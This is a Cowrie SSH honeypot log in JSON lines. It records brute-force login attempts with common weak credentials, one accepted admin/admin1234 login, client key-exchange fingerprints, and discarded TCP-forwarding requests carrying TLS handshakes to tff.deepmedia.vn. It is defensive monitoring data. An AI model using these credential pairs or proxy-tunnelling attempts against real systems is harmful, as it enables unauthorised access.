{"eventid":"cowrie.login.failed","username":"amina","password":"1234","message":"login attempt [amina/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:48.705373Z","src_ip":"91.92.40.36","session":"0dbaa2b6b12e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.113.53","src_port":19086,"dst_ip":"159.203.135.109","dst_port":22,"session":"f68dfe648e19","protocol":"ssh","message":"New connection: 14.103.113.53:19086 (159.203.135.109:22) [session: f68dfe648e19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:48.938150Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":26796,"dst_ip":"159.203.135.109","dst_port":22,"session":"f805b3c4ee87","protocol":"ssh","message":"New connection: 91.92.40.36:26796 (159.203.135.109:22) [session: f805b3c4ee87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:49.111660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:49.186233Z","src_ip":"14.103.113.53","session":"f68dfe648e19","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:50.292362Z","src_ip":"91.92.40.36","session":"f805b3c4ee87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:50.295800Z","src_ip":"91.92.40.36","session":"f805b3c4ee87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.6","message":"Connection lost after 9.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:50.912742Z","src_ip":"91.92.40.36","session":"0dbaa2b6b12e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:50.993202Z","src_ip":"23.175.50.51","session":"369f0ff9560b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:51.937996Z","src_ip":"14.103.113.53","session":"f68dfe648e19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ff12345678","message":"login attempt [root/Ff12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:52.555706Z","src_ip":"14.103.113.53","session":"f68dfe648e19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:55.067894Z","src_ip":"14.103.113.53","session":"f68dfe648e19","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:55.508208Z","session":"95388db340ae","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:55.566491Z","src_ip":"23.175.50.52","session":"95388db340ae","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1a\\xbc\\r\\xddU\\xf9\\xfa\\xe2\\xd9B\\xdc\\xca\\x83\\x0f\\x19\\x06\\xa0\\xbf\\xd0A\\x1a\\xdf\\xf7/\\x02\\x99\\x9d\\x96\\xc2\\xba\\xb7G P\\xda\\xa7\\xb0\\xf5Z\\xeeA\\xaf\\xe9\\xf5\\xc6\\xc2\\xf8\\x82\\x89\\xb15\\x94\\x03P\\xaf\\x90\\x8a\\xbe/\\xbc\\x97QI\\xa5\\xc1\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc0e\\xcc\\xc7\\xf9&\\xa0a\\x8c;\\xfb\\xbcq\\xed:\\xe2wo\\xab\\xe7#\\xc2\\x98\\x97\\xa9\\xb2/\\xef\\xa9\\x0bUy\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1a\\xbc\\r\\xddU\\xf9\\xfa\\xe2\\xd9B\\xdc\\xca\\x83\\x0f\\x19\\x06\\xa0\\xbf\\xd0A\\x1a\\xdf\\xf7/\\x02\\x99\\x9d\\x96\\xc2\\xba\\xb7G P\\xda\\xa7\\xb0\\xf5Z\\xeeA\\xaf\\xe9\\xf5\\xc6\\xc2\\xf8\\x82\\x89\\xb15\\x94\\x03P\\xaf\\x90\\x8a\\xbe/\\xbc\\x97QI\\xa5\\xc1\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc0e\\xcc\\xc7\\xf9&\\xa0a\\x8c;\\xfb\\xbcq\\xed:\\xe2wo\\xab\\xe7#\\xc2\\x98\\x97\\xa9\\xb2/\\xef\\xa9\\x0bUy\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:55.569823Z","src_ip":"23.175.50.52","session":"95388db340ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cs2server","password":"cs2server","message":"login attempt [cs2server/cs2server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:55.576947Z","src_ip":"91.92.40.36","session":"f805b3c4ee87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":60574,"dst_ip":"159.203.135.109","dst_port":22,"session":"b77634535005","protocol":"ssh","message":"New connection: 91.92.40.36:60574 (159.203.135.109:22) [session: b77634535005]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:55.629173Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:55.725641Z","session":"95388db340ae","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:55.789778Z","src_ip":"23.175.50.52","session":"95388db340ae","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa0\\xb6\\xf4\\x81B\\x8c\\x10LtrX\\xfe\\x82\\x1d7&\\x8dg\\x8c6\\x00\\x94\\xb1\\xc8\\xaaW\\xa8\\x93e\\xa7\\xc3\\xdd <\\\\?\\xc4\\xf7R\\xeb\\xdbN\\xdf\\x08\\x08\\xec\\xb3\\x86V9\\x1f\\xec\"P\\x90\\x07\\xfdzz\\xbd\\xdcXc\\xf9\\xf3\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 Q?`\\xcf\\xef\\xddK\\x8b\\x17\\xf7\\xfeD\\x8b\\xbd\\xf1#\\xb2\\xdfY:\\x96\\xe0\\x0czDIWD\\xc3\\xbfR7\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa0\\xb6\\xf4\\x81B\\x8c\\x10LtrX\\xfe\\x82\\x1d7&\\x8dg\\x8c6\\x00\\x94\\xb1\\xc8\\xaaW\\xa8\\x93e\\xa7\\xc3\\xdd <\\\\?\\xc4\\xf7R\\xeb\\xdbN\\xdf\\x08\\x08\\xec\\xb3\\x86V9\\x1f\\xec\"P\\x90\\x07\\xfdzz\\xbd\\xdcXc\\xf9\\xf3\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 Q?`\\xcf\\xef\\xddK\\x8b\\x17\\xf7\\xfeD\\x8b\\xbd\\xf1#\\xb2\\xdfY:\\x96\\xe0\\x0czDIWD\\xc3\\xbfR7\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:55.792639Z","src_ip":"23.175.50.52","session":"95388db340ae","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:57.389746Z","src_ip":"91.92.40.36","session":"b77634535005","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:57.392762Z","src_ip":"91.92.40.36","session":"b77634535005","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:58.075477Z","src_ip":"91.92.40.36","session":"f805b3c4ee87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":60600,"dst_ip":"159.203.135.109","dst_port":22,"session":"9636b499e361","protocol":"ssh","message":"New connection: 91.92.40.36:60600 (159.203.135.109:22) [session: 9636b499e361]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:02.139178Z"}
{"eventid":"cowrie.session.closed","duration":"36.5","message":"Connection lost after 36.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:02.307825Z","src_ip":"23.175.50.52","session":"95388db340ae","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:03.593526Z","src_ip":"91.92.40.36","session":"9636b499e361","protocol":"ssh"}
